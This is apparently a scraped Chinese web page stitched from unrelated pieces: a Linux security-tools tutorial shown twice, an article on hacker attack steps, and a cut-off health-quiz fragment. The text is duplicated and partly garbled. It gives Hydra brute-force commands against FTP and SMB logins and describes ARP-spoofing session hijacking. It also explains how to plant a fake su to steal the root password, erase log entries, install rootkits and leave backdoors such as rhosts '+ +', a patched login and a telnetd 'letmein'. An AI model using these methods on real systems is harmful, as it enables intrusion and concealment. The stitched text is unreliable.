Ping扫射: nmap -sP 172.16.15.0/24,测试结果见图5
图5
五、tcpdump—专业的网络管理工具
工具名称:tcpdump-3.8.1
应用环境:Linux
工具介绍:Tcpdump是著名的sniffer,是一个被很多UNIX高手认为是一个专业的网络管理工具,记得以
前TsutomuShimomura(应该叫下村侵吧)就是使用他自己修改过的TCPDUMP版本来记录了
KEVINMITNICK攻击他系统的记录,后来就配合FBI抓住了KEVINMITNICK。你能够利用这个工具检查访问你
中的文件包信息,监测你网络中的问题所在。
示例:
截获所有192.168.0.1的主机收到的和发出的所有的数据包:
tcpdump host 192.168.0.1 (测试以图中地址为准,见图6):
图6
截获主机192.168.0.1和主机192.168.0.2或192.168.0.3的通信,使用命令(在命令行中适用括号时,一定
要):
tcpdump host 192.168.0.1 and \ (192.168.0.2 or 192.168.0.3 \)
获取主机192.168.0.1除了和主机192.168.0.2之外所有主机通信的ip包,使用命令:
tcpdump ip host 192.168.0.1 and ! 192.168.0.2
获取主机192.168.0.1接收或发出的telnet包,使用如下命令:
tcpdump tcp port 23 host 192.168.0.1
安装备注:该工具安装前需要先安装libpcap。
六、hunt—包嗅探和会话劫持工具
工具名称:hunt1.5
应用环境:Linux
工具介绍:Linux平台上高级的包嗅探和会话劫持工,Hunt能监视、劫持、重设网络上的TCP连接,在以
太网上使用才有作用,并且含有监视连接的主动机制,以及包括可选的ARP转播和劫持成功后的连接同步等高
级特征。防范嗅探类工具的注意点:使黑客不能在最初获得系统的访问权限是最佳的嗅探器对策;使用网络代
替集线器,对于集线器,网络流量对局域网内的每个系统都是可见的,在交换网络中,只有MAC地址相对应的
网卡才能见到自己的帧;传送敏感数据时不要使用明文方式。防范嗅探类工具的注意点:使黑客不能在最初获
得系统的访问权限是最佳的嗅探器对策;使用交换网络代替集线器,对于集线器,网络流量对局域网内的每个
系统都是可见的,在交换网络中,只有MAC地址相对应的网卡才能见到自己的帧;传送敏感数据时不要使用明
文方式。
示例:
高级嗅探功能,hunt利用ARP欺骗或ARP强制的方法欺骗系统,使之在缓存中添加新的MAC到IP映射。
(操作可参照以下步骤:进入守护进程,输入a进行添加,通过l列举设置的情况。用arp -a查看修改情况。)该
功能可以嗅探交换网络里的数据。 另外hunt提供的嗅探还能捕获用户名和口令,该功能依赖于字典库。
hunt运行如图7所示,有简单的菜单操作:
图7
七、Hydra—网络认证的破解工具
工具名称:Hydra3.0
应用环境:Linux
工具介绍:THC-Hydra 是世界第一款 parallized 协议登录的黑客工具。可以用来对需要网络登录的系统
进行快速的字典攻击,包括Samba、FTP、POP3、IMAP、Telnet、HTTP Auth、LDAP、NNTP、MySQL、
VNC、ICQ、Socks5、PCNFS、Cisco等,支持SSL加密。包括了对 Socks5 和 SSL 支持。
示例(需要字典库支持):
hydra -l login -P /tmp/passlist 192.168.0.1 ftp login为要破解的用户名,passlist为密码字典库
hydra -l login -P passfile 192.168.0.1 smb login为要破解的登录名,passfile为密码字典库,smb操作
系统登录密码破解,测试示例如图8所示

10款Linux下常用安全工具详细介绍疯狂代码 http://www.crazycoder.cn/ ĵ:http:/www.crazycoder.cn/Linux/Article26635.html  先说明下这类工具的安装,安装准备--Linux下一些压缩文件的解压命令:  tar xvf *.tar(tar压缩的软件包)  tar zxvf *.tar.gz (tar和gzip压缩的软件包)  unrar x *.rar unpack_path (rar压缩的软件包 unpack_path为解压后的存放路径 unrar解压命令需要安装Linux下的rar工具才可使用)  rpm -vhU *.rpm(RPM软件包的安装)  工具的一般安装步骤:  (1)转到解压目录运行 ./configure;  (2)执行make all;  (3)执行make install。  在安装过程中部分工具还需要安装特定的Lib库,在工具的使用介绍中会进行特别说明。一、Hping2—网络探测工具  工具名称:Hping2  应用环境:Linux  工具介绍:hping是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP、UDP、ICMP;RAW-IP,以及一个模型HPING一直被用作工具,可以用来测试网络及主机的,它有以下功能:  1.探测(通过ping的返回码进行判断,比如在之类的阻断ICMP包时返回状态13的目标不可达信息,针对此可以判断探测目标被防火墙保护)  2.高级端口扫描(2-7的功能主要是根据对TCP/IP的理解,通过查看发出的包的返回情况进行分析和测试实现)  3.网络测试;(可以用不同的,TOS,数据包碎片来实现此功能)  4.手工MTU发掘  5.高级(在任何下都可以实现)  6.OS指纹判断  7.细微UPTIME猜测  示例:  穿透防火墙的扫描利用的ICMP不可达的返回值进行确定,不同的防火墙的返回值不相同,如Cisco的状态值为13;其他测试需理解TCP/IP的包头结构  简单的类ping操作(-c计数) hping2 192.168.0.1 -c 2  设置时间间隔,数据包发送的频率(-i uX X为微秒) hping2 192.168.0.1 -c 2 -i u1000  一种类ping攻击测试(-d 数据包的大小) hping2 192.168.0.1 -d 20000 -i u1  探测外网 hping2 -A/F/S -p 80 www.my.com;具体运行参见图1(先使用ping测试,无返回,再使用hping2进行测试): 图1二、Nbtscan—从网络上收集NetBIOS信息  工具名称:nbtscan-1.5.1a  应用环境:Linux  工具介绍:这是一款用于扫描网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。  示例:  这个比较简单,不过只能扫描内网  扫描192.168.0.0的网段: nbtscan 172.16.15.0/24 ,测试操作见图2: 图2三、Xprobe2—主动操作系统指纹识别工具  工具名称:Xprobe2  应用环境:Linux  工具介绍:Xprobe2 是一款主动操作系统指纹识别工具,和其它操作系统指纹识别不同,它依靠与一个签名库的模糊匹配,以及合理的推测来共同确定远程操作系统的类型。  示例:  简单内网探测: xprobe2 192.168.0.1  探测外网(目标主机开启Web服务): xprobe2 -p tcp:80:open/tcp:25:open www.my.com;探测目标主机的操作系统如图3所示: 图3四、nmap—网络扫描和嗅探工具包  工具名称:nmap-3.50  应用环境:Linux  工具介绍:NMap是Linux下的网络扫描和嗅探工具包。可以帮助网管人员深入探测UDP或者TCP端口,直至主机所使用的操作系统;还可以将所有 探测结果记录到各种格式的日志中,为系统安全服务。NMap,也就是Network Mapper,是Linux下的网络扫描和嗅探工具包,其基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。Nmap可用于扫描仅有两个节点的LAN,直至500个节点以上的网络。Nmap 还允许用户定制扫描技巧。通常,一个简单的使用ICMP协议的ping操 作可以满足一般需求;也可以深入探测UDP或者TCP端口,直至主机所 使用的操作系统;还可以将所有探测结果记录到各种格式的日志中, 供进一步分析操作。但了nmap被发现存在DOS攻击, 针对这类攻击,可采取如下措施:安装系统卖方的最新补丁;用未受影响的系统做防火墙。  示例:  适用于内外网的探测,以内网操作为示例(外网参数同)  简单端口扫描: nmap -vv -sT(sS、sF、sU、sA) 192.168.0.1 -D 127.0.0.1(-D伪造的地址)  OS检测: nmap -vv -sS -O 192.168.0.1  RPC鉴别: nmap -sS -sR 192.168.0.1 Linux上的portmap就是一个简单的RPC服务,监听端口为111(默认),测试见图4 图4  Ping扫射: nmap -sP 172.16.15.0/24,测试结果见图5 图5五、tcpdump—专业的网络管理工具  工具名称:tcpdump-3.8.1  应用环境:Linux  工具介绍:Tcpdump是著名的sniffer,是一个被很多UNIX高手认为是一个专业的网络管理工具,记得以前TsutomuShimomura(应该叫下村侵吧)就是使用他自己修改过的TCPDUMP版本来记录了KEVINMITNICK攻击他系统的记录,后来就配合FBI抓住了KEVINMITNICK。你能够利用这个工具检查访问你中的文件包信息,监测你网络中的问题所在。  示例:  截获所有192.168.0.1的主机收到的和发出的所有的数据包:  tcpdump host 192.168.0.1 (测试以图中地址为准,见图6): 图6  截获主机192.168.0.1和主机192.168.0.2或192.168.0.3的通信,使用命令(在命令行中适用括号时,一定要):  tcpdump host 192.168.0.1 and \ (192.168.0.2 or 192.168.0.3 \)  获取主机192.168.0.1除了和主机192.168.0.2之外所有主机通信的ip包,使用命令:  tcpdump ip host 192.168.0.1 and ! 192.168.0.2  获取主机192.168.0.1接收或发出的telnet包,使用如下命令:  tcpdump tcp port 23 host 192.168.0.1  安装备注:该工具安装前需要先安装libpcap。六、hunt—包嗅探和会话劫持工具  工具名称:hunt1.5  应用环境:Linux  工具介绍:Linux平台上高级的包嗅探和会话劫持工,Hunt能监视、劫持、重设网络上的TCP连接,在以太网上使用才有作用,并且含有监视连接的主动机制,以及包括可选的ARP转播和劫持成功后的连接同步等高级特征。防范嗅探类工具的注意点:使黑客不能在最初获得系统的访问权限是最佳的嗅探器对策;使用网络代替集线器,对于集线器,网络流量对局域网内的每个系统都是可见的,在交换网络中,只有MAC地址相对应的网卡才能见到自己的帧;传送敏感数据时不要使用明文方式。防范嗅探类工具的注意点:使黑客不能在最初获得系统的访问权限是最佳的嗅探器对策;使用交换网络代替集线器,对于集线器,网络流量对局域网内的每个系统都是可见的,在交换网络中,只有MAC地址相对应的网卡才能见到自己的帧;传送敏感数据时不要使用明文方式。  示例:  高级嗅探功能,hunt利用ARP欺骗或ARP强制的方法欺骗系统,使之在缓存中添加新的MAC到IP映射。(操作可参照以下步骤:进入守护进程,输入a进行添加,通过l列举设置的情况。用arp -a查看修改情况。)该功能可以嗅探交换网络里的数据。 另外hunt提供的嗅探还能捕获用户名和口令,该功能依赖于字典库。hunt运行如图7所示,有简单的菜单操作: 图7七、Hydra—网络认证的破解工具  工具名称:Hydra3.0  应用环境:Linux  工具介绍:THC-Hydra 是世界第一款 parallized 协议登录的黑客工具。可以用来对需要网络登录的系统进行快速的字典攻击,包括Samba、FTP、POP3、IMAP、Telnet、HTTP Auth、LDAP、NNTP、MySQL、VNC、ICQ、Socks5、PCNFS、Cisco等,支持SSL加密。包括了对 Socks5 和 SSL 支持。  示例(需要字典库支持):  hydra -l login -P /tmp/passlist 192.168.0.1 ftp login为要破解的用户名,passlist为密码字典库  hydra -l login -P passfile 192.168.0.1 smb login为要破解的登录名,passfile为密码字典库,smb操作系统登录密码破解,测试示例如图8所示

浅析黑客攻击时的常用方法和攻击步骤

网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。确保网络系统的信息安全是网络安全的目标,信息安全包括两个方面:信息的存储安全和信息的传输安全。信息的存储安全是指信息在静态存放状态下的安全,如是否会被非授权调用等。信息的传输安全是指信息在动态传输过程中安全。为了确保网络信息的传输安全,有以下几个问题:

(1)对网络上信息的监听
(2)对用户身份的仿冒
(3)对网络上信息的篡改
(4)对发出的信息予以否认
(5)对信息进行重发

对于一般的常用入侵方法主要有
1.口令入侵

所谓口令入侵,就是指用一些软件解开已经得到但被人加密的口令文档,不过许多黑客已大量采用一种可以绕开或屏蔽口令保护的程序来完成这项工作。对于那些可以解开或屏蔽口令保护的程序通常被称为“Crack”。由于这些软件的广为流传,使得入侵电脑网络系统有时变得相当简单,一般不需要很深入了解系统的内部结构,是初学者的好方法。

2.特洛伊木马术

说到特洛伊木马,只要知道这个故事的人就不难理解,它最典型的做法可能就是把一个能帮助黑客完成某一特定动作的程序依附在某一合法用户的正常程序中,这时合法用户的程序代码已被该变。一旦用户触发该程序,那么依附在内的黑客指令代码同时被激活,这些代码往往能完成黑客指定的任务。由于这种入侵法需要黑客有很好的编程经验,且要更改代码、要一定的权限,所以较难掌握。但正因为它的复杂性,一般的系统管理员很难发现。

3.监听法

这是一个很实用但风险也很大的黑客入侵方法,但还是有很多入侵系统的黑客采用此类方法,正所谓艺高人胆大。

网络节点或工作站之间的交流是通过信息流的转送得以实现,而当在一个没有集线器的网络中,数据的传输并没有指明特定的方向,这时每一个网络节点或工作站都是一个接口。这就好比某一节点说:“嗨!你们中有谁是我要发信息的工作站。”

此时,所有的系统接口都收到了这个信息,一旦某个工作站说:“嗨!那是我,请把数据传过来。”联接就马上完成。

目前有网络上流传着很多嗅探软件,利用这些软件就可以很简单的监听到数据,甚至就包含口令文件,有的服务在传输文件中直接使用明文传输,这也是非常危险的。

4.E-mail技术

使用email加木马程序这是黑客经常使用的一种手段,而且非常奏效,一般的用户,甚至是网管,对网络安全的意识太过于淡薄,这就给很多黑客以可乘之机。

5.病毒技术
作为一个黑客,如此使用应该是一件可耻的事情,不过大家可以学习,毕竟也是一种攻击的办法,特殊时间,特殊地点完全可以使用。

6.隐藏技术

网络攻击的一般步骤及实例

攻击的准备阶段
首先需要说明的是,入侵者的来源有两种,一种是内部人员利用自己的工作机会和权限来获取不应该获取的权限而进行的攻击。另一种是外部人员入侵,包括远程入侵、网络节点接入入侵等。本节主要讨论远程攻击。

进行网络攻击是一件系统性很强的工作,其主要工作流程是:收集情报,远程攻击,远程登录,取得普通用户的权限,取得超级用户的权限,留下后门,清除日志。主要内容包括目标分析,文档获取,破解密码,日志清除等技术,下面分别介绍。

1.确定攻击的目的

攻击者在进行一次完整的攻击之前首先要确定攻击要达到什么样的目的,即给对方造成什么样的后果。常见的攻击目的有破坏型和入侵型两种。破坏型攻击指的只是破坏攻击目标,使其不能正常工作,而不能随意控制目标的系统的运行。要达到破坏型攻击的目的,主要的手段是拒绝服务攻击(Denial Of Service)。另一类常见的攻击目的是入侵攻击目标,这种攻击是要获得一定的权限来达到控制攻击目标的目的。应该说这种攻击比破坏型攻击更为普遍,威胁性也更大。因为黑客一旦获取攻击目标的管理员权限就可以对此服务器做任意动作,包括破坏性的攻击。此类攻击一般也是利用服务器操作系统、应用软件或者网络协议存在的漏洞进行的。当然还有另一种造成此种攻击的原因就是密码泄露,攻击者靠猜测或者穷举法来得到服务器用户的密码,然后就可以用和真正的管理员一样对服务器进行访问。

2.信息收集

除了确定攻击目的之外,攻击前的最主要工作就是收集尽量多的关于攻击目标的信息。这些信息主要包括目标的操作系统类型及版本,目标提供哪些服务,各服务器程序的类型与版本以及相关的社会信息。

要攻击一台机器,首先要确定它上面正在运行的操作系统是什么,因为对于不同类型的操作系统,其上的系统漏洞有很大区别,所以攻击的方法也完全不同,甚至同一种操作系统的不同版本的系统漏洞也是不一样的。要确定一台服务器的操作系统一般是靠经验,有些服务器的某些服务显示信息会泄露其操作系统。例如当我们通过TELNET连上一台机器时,如果显示

Unix(r)System V Release 4.0
login:

那么根据经验就可以确定这个机器上运行的操作系统为SUN OS 5.5或5.5.l。但这样确定操作系统类型是不准确的,因为有些网站管理员为了迷惑攻击者会故意更改显示信息,造成假象。

还有一种不是很有效的方法,诸如查询DNS的主机信息(不是很可靠)来看登记域名时的申请机器类型和操作系统类型,或者使用社会工程学的方法来获得,以及利用某些主机开放的SNMP的公共组来查询。

另外一种相对比较准确的方法是利用网络操作系统里的TCP/IP堆栈作为特殊的“指纹”来确定系统的真正身份。因为不同的操作系统在网络底层协议的各种实现细节上略有不同。可以通过远程向目标发送特殊的包,然后通过返回的包来确定操作系统类型。例如通过向目标机发送一个FIN的包(或者是任何没有ACK或SYN标记的包)到目标主机的一个开放的端口然后等待回应。许多系统如windows、 BSDI、 CISCO、 HP/UX和 IRIX会返回一个RESET。通过发送一个SYN包,它含有没有定义的TCP标记的TCP头。那么在Linux系统的回应包就会包含这个没有定义的标记,而在一些别的系统则会在收到SYN+BOGU包之后关闭连接。或是利用寻找初始化序列长度模板与特定的操作系统相匹配的方法。利用它可以对许多系统分类,如较早的Unix系统是64K长度,一些新的Unix系统的长度则是随机增长。还有就是检查返回包里包含的窗口长度,这项技术根据各个操作系统的不同的初始化窗口大小来唯一确定它们。利用这种技术实现的工具很多,比较著名的有NMAP、CHECKOS、QUESO等。

获知目标提供哪些服务及各服务daemon的类型、版本同样非常重要,因为已知的漏洞一般都是对某一服务的。这里说的提供服务就是指通常我们提到的喘口,例如一般TELNET在23端口,FTP在对21端口,WWW在80端口或8080端口,这只是一般情况,网站管理完全可以按自己的意愿修改服务所监听的端口号。在不同服务器上提供同一种服务的软件也可以是不同,我们管这种软件叫做daemon,例如同样是提供FTP服务,可以使用wuftp、proftp,ncftp等许多不同种类的daemon。确定daemon的类型版本也有助于黑客利用系统漏洞攻破网站。

另外需要获得的关于系统的信息就是一些与计算机本身没有关系的社会信息,例如网站所属公司的名称、规模,网络管理员的生活习惯、电话号码等。这些信息看起来与攻击一个网站没有关系,实际上很多黑客都是利用了这类信息攻破网站的。例如有些网站管理员用自己的电话号码做系统密码,如果掌握了该电话号码,就等于掌握了管理员权限进行信息收集可以用手工进行,也可以利用工具来完成,完成信息收集的工具叫做扫描器。用扫描器收集信息的优点是速度快,可以一次对多个目标进行扫描。

攻击的实施阶段
1.获得权限

当收集到足够的信息之后,攻击者就要开始实施攻击行动了。作为破坏性攻击,只需利用工具发动攻击即可。而作为入侵性攻击,往往要利用收集到的信息,找到其系统漏洞,然后利用该漏洞获取一定的权限。有时获得了一般用户的权限就足以达到修改主页等目的了,但作为一次完整的攻击是要获得系统最高权限的,这不仅是为了达到一定的目的,更重要的是证明攻击者的能力,这也符合黑客的追求。

能够被攻击者所利用的漏洞不仅包括系统软件设计上的安全漏洞,也包括由于管理配置不当而造成的漏洞。前不久,因特网上应用最普及的著名www服务器提供商Apache的主页被黑客攻破,其主页面上的 Powered by Apache图样(羽毛状的图画)被改成了Powered by Microsoft Backoffice的图样,那个攻击者就是利用了管理员对Webserver用数据库的一些不当配置而成功取得最高权限的。

当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。其中利用缓冲区溢出进行的攻击最为普遍,据统计80%以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。关于缓冲区溢出在后面用专门章节来作详细解释。

无论作为一个黑客还是一个网络管理员,都需要掌握尽量多的系统漏洞。黑客需要用它来完成攻击,而管理员需要根据不同的漏洞来进行不同的防御措施。了解最新最多的漏洞信息,可以到诸如Rootshell(www.rootshell.com)、Packetstorm(packetstorm.securify.com)、Securityfocus(www.securityfocus.com)等网站去查找。

2.权限的扩大

系统漏洞分为远程漏洞和本地漏洞两种,远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。这种漏洞的威胁性相当大,黑客的攻击一般都是从远程漏洞开始的。但是利用远程漏洞获取的不一定是最高权限,而往往只是一个普通用户的权限,这样常常没有办法做黑客们想要做的事。这时就需要配合本地漏洞来把获得的权限进行扩大,常常是扩大至系统的管理员权限。

只有获得了最高的管理员权限之后,才可以做诸如网络监听、打扫痕迹之类的事情。要完成权限的扩大,不但可以利用已获得的权限在系统上执行利用本地漏洞的程序,还可以放一些木马之类的欺骗程序来套取管理员密码,这种木马是放在本地套取最高权限用的,而不能进行远程控制。例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限,那么他就可以在这台机器上放置一个假的su程序。一旦黑客放置了假su程序,当真正的合法用户登录时,运行了su,并输入了密码,这时root密码就会被记录下来,下次黑客再登录时就可以使用su变成root了。

攻击的善后工作

1.日志系统简介

如果攻击者完成攻击后就立刻离开系统而不做任何善后工作,那么他的行踪将很快被系统管理员发现,因为所有的网络操作系统一般都提供日志记录功能,会把系统上发生的动作记录下来。所以,为了自身的隐蔽性,黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法,首先要了解常见的操作系统的日志结构以及工作方式。Unix的日志文件通常放在下面这几个位置,根据操作系统的不同略有变化

/usr/adm——早期版本的Unix。
/Var/adm新一点的版本使用这个位置。
/Varflort一些版本的Solaris、 Linux BSD、 Free BSD使用这个位置。
/etc,大多数Unix版本把Utmp放在此处,一些Unix版本也把Wtmp放在这里,这也是Syslog.conf的位置。

下面的文件可能会根据你所在的目录不同而不同:

acct或pacct-一记录每个用户使用的命令记录。
accesslog主要用来服务器运行了NCSA HTTP服务器,这个记录文件会记录有什么站点连接过你的服务器。
aculo保存拨出去的Modems记录。
lastlog记录了最近的Login记录和每个用户的最初目的地,有时是最后不成功Login的记录。
loginlog一记录一些不正常的L0gin记录。
messages——记录输出到系统控制台的记录,另外的信息由Syslog来生成
security记录一些使用 UUCP系统企图进入限制范围的事例。
sulog记录使用su命令的记录。
utmp记录当前登录到系统中的所有用户,这个文件伴随着用户进入和离开系统而不断变化。
Utmpx,utmp的扩展。
wtmp记录用户登录和退出事件。
Syslog最重要的日志文件,使用syslogd守护程序来获得。

2.隐藏踪迹

攻击者在获得系统最高管理员权限之后就可以随意修改系统上的文件了(只对常规 Unix系统而言),包括日志文件,所以一般黑客想要隐藏自己的踪迹的话,就会对日志进行修改。最简单的方法当然就是删除日志文件了,但这样做虽然避免了系统管理员根据IP追踪到自己,但也明确无误地告诉了管理员,系统己经被人侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别,网络上有许多此类功能的程序,例如 zap、 wipe等,其主要做法就是清除 utmp、wtmp、Lastlog和 Pacct等日志文件中某一用户的信息,使得当使用w、who、last等命令查看日志文件时,隐藏掉此用户的信息。

管理员想要避免日志系统被黑客修改,应该采取一定的措施,例如用打印机实时记录网络日志信息。但这样做也有弊端,黑客一旦了解到你的做法就会不停地向日志里写入无用的信息,使得打印机不停地打印日志,直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上,即使用loghost。即使是这样也不能完全避免日志被修改的可能性,因为黑客既然能攻入这台主机,也很可能攻入loghost。

只修改日志是不够的,因为百密必有一漏,即使自认为修改了所有的日志,仍然会留下一些蛛丝马迹的。例如安装了某些后门程序,运行后也可能被管理员发现。所以,黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做rootkit,这类程序在一些黑客网站可以找到,比较常见的有LinuxRootKit,现在已经发展到了5.0版本了。它可以替换系统的ls、ps、netstat、inetd等等一系列重要的系统程序,当替换了ls后,就可以隐藏指定的文件,使得管理员在使用ls命令时无法看到这些文件,从而达到隐藏自己的目的。

3.后门

一般黑客都会在攻入系统后不只一次地进入该系统。为了下次再进入系统时方便一点,黑客会留下一个后门,特洛伊木马就是后门的最好范例。Unix中留后门的方法有很多种,下面介绍几种常见的后门,供网络管理员参考防范。

<1>密码破解后门
这是入侵者使用的最早也是最老的方法,它不仅可以获得对Unix机器的访问,而且可 以通过破解密码制造后门。这就是破解口令薄弱的帐号。以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门。多数情况下,入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些。当管理员寻找口令薄弱的帐号是,也不会发现这些密码已修改的帐号。因而管理员很难确定查封哪个帐号。

<2>Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简 单的认证方法。用户可以轻易的改变设置而不需口令就能进入。 入侵者只要向可以访问的某用户的rhosts文件中输入”+ +”,就可以允许任何人从任何地方无须口令便能进 入这个帐号。特别当home目录通过NFS向外共享时,入侵者更热中于此。这些帐号也成 了入侵者再次侵入的后门。许多人更喜欢使用Rsh,因为它通常缺少日志能力. 许多管理员经常检查 “+ +”,所以入侵者实际上多设置来自网上的另一个帐号的主机名和 用户名,从而不易被发现。

<3>校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件。系统管理员便依靠时间戳和系 统校验和的程序辨别一个二进制文件是否已被改变,如Unix里的sum程序。入侵者又发展了使trojan文件和原文件时间戳同步的新技术。它是这样实现的: 先将系统时钟拨 回到原文件时间,然后调整trojan文件的时间为系统时间。一旦二进制trojan文件与 原来的精确同步,就可以把系统时间设回当前时间。Sum程序是基于CRC校验,很容易 骗过。入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序。MD5是被 大多数人推荐的,MD5使用的算法目前还没人能骗过。

<4>Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的 原代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门 口令,它将忽视管理员设置的口令让你长驱直入。这将允许入侵者进入任何帐号,甚至 是root。由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问 的,所以入侵者可以登录获取shell却不会暴露该帐号。管理员注意到这种后门后,便 用”strings”命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露。入侵者就开始加密或者更好的隐藏口令,使strings命令失效. 所以更多的管理员是 用MD5校验和检测这种后门的。

<5>Telnetd后门
当用户telnet到系统,监听端口的inetd服务接受连接随后递给in.telnetd,由它运行 login.一些入侵者知道管理员会检查login是否被修改,就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验,比如用户使用了何种终端. 典型的终端 设置是Xterm或者VT100.入侵者可以做这样的后门,当终端设置为”letmein”时产生一 个不要任何验证的shell. 入侵者已对某些服务作了后门,对来自特定源端口的连接产 生一个shell。

<6>服务后门
几乎所有网络服务曾被入侵者作过后门. Finger,rsh,rexec,rlogin,ftp,甚至 inetd等等的作了的版本随处多是。有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问。这些程序有时用刺娲□?Ucp这样不用的服务,或者被加入inetd.conf 作为一个新的服务,管理员应该非常注意那些服务正在运行,并用MD5对原服务程序做校验。

<7>Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序 使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问。也可以查看cronjob中 经常运行的合法程序,同时置入后门。

<8>库后门
几乎所有的UNIX系统使用共享库,共享库用于相同函数的重用而减少代码长度。一些入侵者在象crypt.c和_crypt.c这些函数里作了后门;象login.c这样的程序调用了 crypt()。当使用后门口令时产生一个shell。 因此,即使管理员用MD5检查login程序,仍然能产生一个后门函数,而且许多管理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验,有一种办法是入侵者对open()和文件访问函数做后门。后门函数读原文件但执行trojan后门程序。所以 当MD5读这些文件时,校验和一切正常,但当系统运行时将执行trojan版本的,即使trojan库本身也可躲过MD5校验,对于管理员来说有一种方法可以找到后门,就是静态编连MD5校验程序然后运行,静态连接程序不会使用trojan共享库。

<9>内核后门
内核是Unix工作的核心,用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态 连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的,所幸的是内核的 后门程序还不是随手可得,每人知道它事实上传播有多广。

<10>文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现,入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等!有时为了防止管理员发现这么大的文件,入侵者需要修补”ls”,”du”,”fsck”以隐匿特定的目录和文件,在很低的级别,入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区。因此入侵者只能用特别的工具访问这些隐藏的文件,对于普通的管理员来说,很难发现这些”坏扇区”里的文件系统,而它又确实存在。

<11>Boot块后门
在PC世界里,许多病毒藏匿与根区,而杀病毒软件就是检查根区是否被改变。Unix下,多数管理员没有检查根区的软件,所以一些入侵者将一些后门留在根区。

<12>隐匿进程后门
入侵者通常想隐匿他们运行的程序,这样的程序一般是口令破解程序和监听程序 (sniffer),有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[] 使它看起来象其他进程名。可以将sniffer程序改名类似in.syslog再执行,因此 当管理员用”ps”检查运行进程时,出现 的是标准服务名。可以修改库函数致使 “ps”不能显示所有进程,可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现。使用这个技术的一个后门例子是

amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html网络通行. 这些网络通行后 门有时允许入侵者通过防火墙进行访问。有许多网络后门程序允许入侵者建立某个端 口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行,管理 员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP,但也可能是其他类型报文。

<14>TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他 们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat 命令查看当前的连接状态,那些端口在侦听,目前连接的来龙去脉. 通常这些后门可 以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口,许多防火墙允许 e-mail通行的.

<15>UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况,而UDP Shell后门没有这样的连接,所以 netstat不能显示入侵者的访问痕迹,许多防火墙设置成允许类似DNS的UDP报文的通行,通常入侵者将UDP Shell放置在这个端口,允许穿越防火墙。

<16>ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一。许多防火墙允许外界ping它内部的机器,入侵者可以放数据入Ping的ICMP包,在ping的机器间形成一个shell通道,管理员也许会注意到Ping包暴风,但除了他查看包内数据,否者入侵者不会暴露。

<17>加密连接
管理员可能建立一个sniffer试图某个访问的数据,但当入侵者给网络通行后门加密 后,就不可能被判定两台机器间的传输内容了。

单脚站不到6秒?证明你早衰!

有资料统计,全世界人口中,70%的人处于亚健康状态。女人在亚健康人群中占到相当多的比例。疲劳、困乏,时常这痛那儿痒,到医院检查,各项指标还都正常,其实你已经被列入了“亚健康”的范畴,所以,你需要一些简单的方法,随时全方位掌控自己的健康状况。

鞠躬VS心脏

测试前先静坐5分钟, 测得每分钟脉搏数A;然后身体直立,上体微向前屈,再还原,其实就是鞠躬的姿势,连续做20个(频率适中),测得脉搏数B;休息1分钟,再测脉搏数C。将三次脉搏数相加,减200””再除以10。

得出的结果在0~3之间,说明心脏强壮;在3~6之间,说明心脏良好;6~9之间状态一般;9~12之间恐怕你要时刻关注心脏的问题了,若是在12以上,还是尽快去看医生吧。心脏功能较弱的人可以多进行些轻微的有氧运动,并注意心态的调试。

单脚立VS人体老化

